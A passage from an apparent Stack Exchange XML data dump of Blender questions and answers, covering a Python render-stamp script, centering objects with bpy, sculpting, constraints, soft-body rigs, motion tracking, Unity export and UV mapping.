automatically)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Usage&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Define the &lt;strong&gt;Monitor Aspect&lt;/strong&gt; ratio in the script's settings. The script expands the frame vertically until the defined aspect ratio is met.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For example, if the &lt;strong&gt;Monitor Aspect&lt;/strong&gt; setting in the script is set to 16:9, a 2048x858 (2.39:1) sized camera frame gets expanded (not stretched) vertically to 2048x1152 (16:9).&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;In other words, stuff gets added to the top and the bottom of the frame.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Define the &lt;strong&gt;Frame Resolution&lt;/strong&gt; in the script's settings. The script resizes the render border accordingly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For example, if the &lt;strong&gt;Frame Resolution&lt;/strong&gt; is set to 2048x858, only that sized border render will be rendered out of the full 2048x1152 frame. The rest will be seen as black (or transparent) along with the stamp information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;In other words, the same amount of stuff gets removed from the top and the bottom of the frame and the stamp gets added.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you change the &lt;strong&gt;percent&lt;/strong&gt; value of the &lt;strong&gt;render resolution&lt;/strong&gt;, run the script again in order to make the stamp's font size to adjust nicely to the correct size.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Download: &lt;a href=&quot;http://docs.manujarvinen.com/custom_render_stamp.py&quot; rel=&quot;noreferrer&quot;&gt;custom_render_stamp.py&lt;/a&gt;&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;hr /&gt;&#xA;&lt;pre&gt;&lt;code&gt;##############################################################&#xA;#                                                            #&#xA;#                   CUSTOM RENDER STAMP                      #&#xA;#                                                            #&#xA;##############################################################&#xA;#                                                            #&#xA;#                        Settings                            #&#xA;#                        --------                            #&#xA;&#xA;# Define names to the render stamp:&#xA;Animator = 'Pedro'&#xA;Compositor = 'Fabio'&#xA;&#xA;# Define the name of the scene:&#xA;Scene_Name = 'Scene'&#xA;&#xA;# Define render frame resolution (without the stamp sections):&#xA;Frame_Resolution_X = 2048&#xA;Frame_Resolution_Y = 858&#xA;&#xA;# Define desired full frame aspect ratio (stamp section size):&#xA;Monitor_Aspect_X = 16&#xA;Monitor_Aspect_Y = 9&#xA;&#xA;##############################################################&#xA;#                                                            #&#xA;#                         Script                             #&#xA;#                         ------                             #&#xA;&#xA;resx = Frame_Resolution_X&#xA;resy = Frame_Resolution_Y&#xA;aspx = Monitor_Aspect_X&#xA;aspy = Monitor_Aspect_Y&#xA;&#xA;# For example 2048x858's height inside 1920x1080 (= 804)&#xA;#~ aspx / resx * resy&#xA;&#xA;# For example 1920x1080's upper stamp section height (= 138)&#xA;#~ (aspy - aspx / resx * resy) / 2&#xA;&#xA;# For example 2048x1152's upper stamp section height (= 147)&#xA;Stamp_Height = resx / aspx * (aspy - aspx / resx * resy) / 2&#xA;&#xA;# Full frame height (= 1152)&#xA;Full_Frame_Height = resy + 2 * Stamp_Height&#xA;&#xA;# Render Stamp:&#xA;import bpy&#xA;import socket&#xA;&#xA;# Uncomment to automatically use the name of the current scene:&#xA;# Scene_Name = bpy.context.scene.name&#xA;&#xA;def stamp_set(scene):&#xA;&#xA;    render = scene.render&#xA;    Render_Percent = render.resolution_percentage&#xA;    is_cycles = (render.engine == 'CYCLES')&#xA;&#xA;    render.use_stamp_note = True&#xA;    render.stamp_note_text = (&#xA;        &amp;quot;Samples: {samples}  |  &amp;quot;&#xA;        &amp;quot;Aperture Radius: {aperture:.4f}  |  &amp;quot;&#xA;        &amp;quot;Blender {ver} {branch} {hash}  |  &amp;quot;&#xA;        &amp;quot;Resolution: {res_x} x {res_y}  |  &amp;quot;&#xA;        &amp;quot;Animator: {anim}  |  &amp;quot;&#xA;        &amp;quot;Compositor: {comp}  |  &amp;quot;&#xA;        &amp;quot;Rendernode: {hostname}&amp;quot;&#xA;    ).format(&#xA;        samples=scene.cycles.samples if is_cycles else render.antialiasing_samples,&#xA;        aperture=scene.camera.data.cycles.aperture_size if is_cycles else &amp;quot;NONE&amp;quot;,&#xA;        ver=bpy.app.version_string,&#xA;        branch=bpy.app.build_branch,&#xA;        hash=bpy.app.build_hash,&#xA;        res_x=int(render.resolution_x * Render_Percent / 100),&#xA;        res_y=int(render.resolution_y * (1 - Stamp_Height * 2 / Full_Frame_Height) * Render_Percent / 100),&#xA;        hostname=socket.gethostname(),&#xA;        anim=Animator,&#xA;        comp=Compositor,&#xA;        )&#xA;&#xA;bpy.app.handlers.render_pre.append(stamp_set)&#xA;&#xA;# Set Render Resolution Width:&#xA;bpy.data.scenes[Scene_Name].render.resolution_x = Frame_Resolution_X&#xA;&#xA;# Use Render Border:&#xA;bpy.data.scenes[Scene_Name].render.use_border = True&#xA;&#xA;# Render Stamp font size:&#xA;bpy.data.scenes[Scene_Name].render.stamp_font_size = 18 * bpy.data.scenes[Scene_Name].render.resolution_percentage / 100&#xA;&#xA;# Set Render Borders:&#xA;bpy.data.scenes[Scene_Name].render.resolution_y = Full_Frame_Height&#xA;bpy.data.scenes[Scene_Name].render.border_min_y = Stamp_Height / Full_Frame_Height&#xA;bpy.data.scenes[Scene_Name].render.border_max_y = 1 - Stamp_Height / Full_Frame_Height&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-01T13:59:17.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27645" PostTypeId="1" AcceptedAnswerId="27649" CreationDate="2015-03-25T13:17:34.460" Score="0" ViewCount="317" Body="&lt;p&gt;Here is my non-symmetrical object : &lt;img src=&quot;https://i.stack.imgur.com/debzE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see the left part (X negative, the black line) is not egal to the right part (X positive, red line).&#xA;How can I get equal parts by translating my object with a python script ?&#xA;Thank you in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="12685" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-28T08:58:55.127" Title="How to center a non-symmetrical object on the X axis xith a python script?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27646" PostTypeId="1" AcceptedAnswerId="27660" CreationDate="2015-03-25T14:25:59.040" Score="6" ViewCount="622" Body="&lt;p&gt;Is there a way for the sculpted area to smooth as you sculpt dynamic detail on it. I might be missing something obvious, but as you sculpt with dynamic topology, smaller polygons are added, but the surface is not smoothed, creating that jagged shading. I think this behaves the same way when using a Subsurf modifier put on &quot;Simple&quot; instead of &quot;Catmull-Clark&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oLrqp.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ikbtj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Sculptris on the other hand smooths the surface and there's no problem adding more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/056VK.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aWuex.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find it that only the Snake and Smooth brush are working fine for this. Is there a way to sculpt with smoothing somehow?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="241" LastEditDate="2015-03-25T14:35:46.210" LastActivityDate="2015-03-25T18:43:17.753" Title="Dynamic detail with smoothing" Tags="&lt;sculpting&gt;&lt;dynamic-topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27647" PostTypeId="1" CreationDate="2015-03-25T14:34:54.530" Score="0" ViewCount="1344" Body="&lt;p&gt;I am going through Andrew Price' grass tuotrial (&lt;a href=&quot;https://www.youtube.com/watch?v=zhYtJ_VmvXE&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=zhYtJ_VmvXE&lt;/a&gt;) and I am stuck with painting weight onto the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've followed his steps inserting the plance and subdividing it into more vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However brushing the plane object or using &quot;Weight Gradient&quot; does not make a difference, no colours are changed. The vertex group will be created and whatever vertices I was brushing on will be added to the group, but the weight colouring isn't shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="13379" LastActivityDate="2015-03-25T14:34:54.530" Title="Weight painting does not show weight colouring" Tags="&lt;weight-painting&gt;" AnswerCount="0" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="27649" PostTypeId="2" ParentId="27645" CreationDate="2015-03-25T15:42:35.667" Score="1" Body="&lt;p&gt;you have to find the extreme values on x axis and calculate where should be the center :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;max = -9999&#xA;min = 9999&#xA;for i in obj.data.vertices :&#xA;    if i.co[0] &amp;gt; max :&#xA;        max_ind = i.index&#xA;        max  = i.co[0]&#xA;    if i.co[0] &amp;lt; min :&#xA;        min_ind = i.index&#xA;        min  = i.co[0]&#xA;&#xA;shift = (max-min)/2 - max&#xA;obj.location[0] +=shift&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-25T15:42:35.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27650" PostTypeId="1" AcceptedAnswerId="27652" CreationDate="2015-03-25T15:53:59.050" Score="3" ViewCount="421" Body="&lt;p&gt;I am new to Blender with very basic knowledge. I am working on some robotic simulation for which I already have models, for environment and the robotic unit. The robotic unit has to be mounted on metallic frame, over which the robotic unit has to slide. As shown in &lt;a href=&quot;https://www.youtube.com/watch?v=F6wGqDKVxy0&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone bluntly guide me through the steps for achieving such a simulation. Especially on the use motion constraints. I am aware of the various constraints Blender provides but not sure which one could give me the similar kind of movement of the robot on the frame, as in the video. Please help me out. Thanks !!     &lt;/p&gt;&#xA;" OwnerUserId="13383" LastEditorUserId="3078" LastEditDate="2015-03-25T15:56:10.560" LastActivityDate="2015-03-25T17:28:33.063" Title="Use of motion constraints for robot's movement simulation" Tags="&lt;animation&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27651" PostTypeId="1" CreationDate="2015-03-25T16:00:10.777" Score="3" ViewCount="2697" Body="&lt;p&gt;I'm looking for option for duplicate object, while moving. It works that way, that I grab the move arrow, or rotate, but instead of changing original object's position, it duplicates in new position I choose. I'm not talking about ctrl + D.&#xA;It's something like here: &lt;a href=&quot;https://youtu.be/zzVoZ5WygW4?t=1m14s&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/zzVoZ5WygW4?t=1m14s&lt;/a&gt; - user holds shift key and moves object to duplicate it. Is something like it in Blender?&lt;/p&gt;&#xA;" OwnerUserId="13384" LastActivityDate="2015-03-25T17:30:41.483" Title="Duplicate while transforming object" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27652" PostTypeId="2" ParentId="27650" CreationDate="2015-03-25T16:55:19.657" Score="3" Body="&lt;p&gt;In a simple case like the example you can use &lt;strong&gt;Limit_location&lt;/strong&gt; constraint on one axis , but for more general case you can use the &lt;strong&gt;follow path constraint&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6OtKA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get the previous configuration :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add &lt;strong&gt;&lt;em&gt;follow path&lt;/em&gt;&lt;/strong&gt; constraint with the following settings then click &lt;strong&gt;&lt;em&gt;animate path&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Lr7m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;to take coontrol of the robot position you have to check &lt;strong&gt;&lt;em&gt;Fixed position&lt;/em&gt;&lt;/strong&gt;  and use the &lt;strong&gt;&lt;em&gt;Offset&lt;/em&gt;&lt;/strong&gt; slider to animate it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;for precise movement, the curve used for constraint is the same one used for creating the frame &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;the frame is created with &lt;strong&gt;&lt;em&gt;Array&lt;/em&gt;&lt;/strong&gt; modifier and &lt;strong&gt;&lt;em&gt;curve&lt;/em&gt;&lt;/strong&gt; modifier as follows :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqEvC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-25T17:28:33.063" LastActivityDate="2015-03-25T17:28:33.063" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27653" PostTypeId="2" ParentId="27651" CreationDate="2015-03-25T16:58:32.667" Score="4" Body="&lt;p&gt;Duplicating with &lt;strong&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;/strong&gt; will create a duplicate of the selected object, and immediately activate the move tool, so all you have to do is drag the new object to the place you want it. The original object will stay unselected and in it's original position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z75XW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that all the copied objects are independent from each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create linked duplicates use &lt;strong&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;/strong&gt;, the tool behaves the same way but all duplicates are linked to the original mesh, so altering this one will affect all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zazeG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-25T17:30:41.483" LastActivityDate="2015-03-25T17:30:41.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27654" PostTypeId="1" CreationDate="2015-03-25T17:06:52.110" Score="0" ViewCount="141" Body="&lt;p&gt;I am sure I hit some button or command by mistake. now when I'm trying to move a single vertex from object, it de-shapes the object instead of moving vertex and faces around it.&#xA;here is the screenshot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZHW3J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Arrow is showing the pixel that I am moving. object is a simple cylinder divided from center.&lt;/p&gt;&#xA;" OwnerUserId="13357" LastEditorDisplayName="user7952" LastEditDate="2015-03-25T17:12:14.860" LastActivityDate="2015-03-25T17:12:14.860" Title="Moving a single vertex deforms the entire object" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-03-25T17:17:45.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="27655" PostTypeId="2" ParentId="27433" CreationDate="2015-03-25T17:58:18.493" Score="8" Body="&lt;p&gt;The key is to have the hook modifiers before the soft-body on the curve, so the soft-body will take the hook-deformed curve as an input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G7hAz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also subdivided the curve to add it more control points that can be hooked (but subdivision affects the soft-body sim). Without the subdivison you could control only the end-point. The hook-Empties are parented to the head. This works like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VuSX9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfSUg.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can control the curve shape with hooks now. But you can't control the same bone-chain with IK-spline and FK at the same time without dependency issues. You would have to build 3 sets of bones - IK, FK and a final set to blend between the two. Look up IK/FK blending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/132/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=132&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach that I would prefer is to rig the character the usual way without any soft-body curves etc. and to put a soft-body after the armature modifier. With the Soft-body Goal vertex group you can control which parts of model will be giggly and which not. For good performance this should be done on a low-poly skinned Mesh-deform mesh controlling the high-poly character.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-12-22T17:46:49.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27656" PostTypeId="2" ParentId="27630" CreationDate="2015-03-25T18:03:35.633" Score="3" Body="&lt;p&gt;I don't think is about having an ideal keyframe but a &lt;strong&gt;range&lt;/strong&gt; of keyframes that have proper tracking information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll get the best tracking out of images that have recognizable, unique features, and those features stay recognizable from frame to frame so that the trackers yield low errors. Blurred images, low contrast or flat colors make for bad tracking. Also bad for tracking are repetitive or similar patterns where the tracker might lock to the wrong place from frame to frame.&#xA;For 3D tracking it's better if the tracked image that has translation movement and &lt;a href=&quot;http://en.wikipedia.org/wiki/Parallax&quot; rel=&quot;nofollow noreferrer&quot;&gt;parallax&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to determine the range of keyframes to be used to successfully solving a scene, you should consider:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least 8 common tracking points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Accurately tracked features (or with a low error average)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parallax or information that clearly describes perspective or any spatial transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't use sections with a lot of fast motion blur or where the camera remains stationary. Avoid sections where you have a lot of evident distortions (ie lens distortions or artifacts caused by rolling shutters, compression errors, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words: In the Solve section for A and B  select the frame range where you feel that the tracking has been the most accurate and has enough information to solve your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are unsure, you can let Blender decide what the best part of your shot is by enabling the Keyframe option on the solve tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0cooV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0cooV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the section of the video clip that will get solved is not limited by the range of keyframes A and B or the auto-selected by blender. The whole shot will get solved (if possible) using the values for lens, distortion, etc determided in the keyframe range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a tracked element leaves the frame but comes back later in to the shot, it is very important that you track both sections and then join the trackers so that blender understands that is dealing with the same element and not something new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Iwb27.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iwb27.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For general tips on motion tracking read: &lt;a href=&quot;https://blender.stackexchange.com/a/42332/1853&quot;&gt;How can I get better results when doing camera motion tracking?&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2018-03-01T20:58:53.953" LastActivityDate="2018-03-01T20:58:53.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27657" PostTypeId="2" ParentId="27502" CreationDate="2015-03-25T18:17:51.200" Score="1" Body="&lt;p&gt;Well it looks like it's caused by the existence of LocRotScale keyframes in Blender, i.e. keyframes related to the objects rather than the bones. It can be cleaned up either in Blender if possible, or those keyframes can be removed in Unity from the animation window after import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, exporting with FBX version 6.1 instead of 7.4 from Blender seems to eliminate the flipping problem regardless, but not the origin problem.&lt;/p&gt;&#xA;" OwnerUserId="13069" LastActivityDate="2015-03-25T18:17:51.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27658" PostTypeId="1" CreationDate="2015-03-25T18:34:23.293" Score="1" ViewCount="1155" Body="&lt;p&gt;I recently created a model to import into Unity, but when I did, the normals were all facing the wrong way. I did some searching and found that this was caused by having not applied the scale to the model. However, when I went and applied the scale to the model, any time I move the timeline or look at an old animation the model objects go everywhere and I have no idea how to fix it. I've removed the armature, applied location, rotation and scale. Does anyone have any idea what I might be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some screenshots to make it clearer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the model in blender with the scale not applied&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WQWoG.png&quot; alt=&quot;model in blender with the scale not applied&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same model in unity - the normals are the wrong way&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ConCh.png&quot; alt=&quot;model in unity&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I apply the scale (I've also tried location and rotation)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dUTjF.png&quot; alt=&quot;model with scale applied&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally the model in unity again after the scale has been applied. The normals are inverted to the correct direction but the objects are not aligned correctly&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DytRc.png&quot; alt=&quot;model back in unity&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model also gets torn apart in different ways in blender when I change position on the timeline but I'm not sure why&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ULzpV.png&quot; alt=&quot;model in blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a model file without the scale applied, highlighting all and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Apply scale&lt;/em&gt; makes the model parts jump all over the place as shown in the images. This happens usually after I change the position on the timeline&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/133/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png&quot; alt=&quot;download the blend file&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13368" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-25T23:22:06.907" Title="Blender model being torn apart after applying scale" Tags="&lt;animation&gt;&lt;normals&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="27659" PostTypeId="2" ParentId="27634" CreationDate="2015-03-25T18:36:21.117" Score="2" Body="&lt;p&gt;problem #1 is that there are not enough seams.  If you can't make the UV islands out of real paper and still be able to wrap it around a real model; then you are going to have problems trying to do this with computer art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture will be stretched to the point where some parts of it will have a high resolution and some parts may be low enough that all you will see in that area are pixelated artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3nkWz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding a texture, you can change the type for visualization purposes.  The texture for the next few steps is a checker texture that allows you to see if the UV's are mapping to the model well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m33GY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a good idea to repeatedly toggle the SubDivide UV's option for the generative modifier to make sure nothing weird is going on here.  OpenSubD is supposed to correct this issue but it has not been implemented yet. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can toggle the modifiers visibility on and off to look for potential problems that should be corrected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following .gif animation, there is some minor distortion when the modifier's settings are toggled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VpPSl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see any obvious stretching when toggling a Sub-Division modifier, you can sometimes correct this by adding a control loop near the area that is being affected.&lt;br&gt;&#xA;The following animation shows the difference before and after a control loop is added to the wrist area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cm2xN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ears have no seams along the sharp edges which flow along a curve.  This area will be distorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Px4xp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uv islands should have at least a few pixels between them and if you zoom the UV Image Editor in and out, you should be able to see a clear distinction between the UV Islands for all distances that the model may be viewed at.&lt;br&gt;&#xA;If the edges appear to be in the same place visually, then texture Mip-Mapping will shows artifacts along the seams when the model is zoomed in and out of the 3D Viewport. &#xA;The various UV Islands will bleed color into one another at the seams.  Normal maps will exaggerate these errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Margin of 0.01 is a good place to start.  This factor depends on how many Islands there are and how big the texture is and the models position relative to the view position, scale, etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Cbfy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are settings for both Blender Internal and Cycles that must be set when using normal maps. In BI, the Image Sampling Normal Field must be set.  In Cycles, the texture node should be changed to Non-Color.  The normal map will look broken if you forget this step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9z2Ow.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the final result.(Right-click the image and choose 'View Image' to see the larger version.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQeXt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following link shows a turntable animation hosted on Vimeo.  (I get an invalid certificate warning from this link.  Vimeo should be safe I think?, could be a mistake)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://vimeo.com/123225350&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://vimeo.com/123225350&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file.  &lt;a href=&quot;http://www.pasteall.org/blend/35226&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35226&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And some further reading on the topic.  &lt;a href=&quot;https://blender.stackexchange.com/questions/27042/how-can-i-bake-textures-on-uneven-goemetry-without-tearing-and-stretching/&quot;&gt;How can I bake textures on uneven goemetry without tearing and stretching&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" 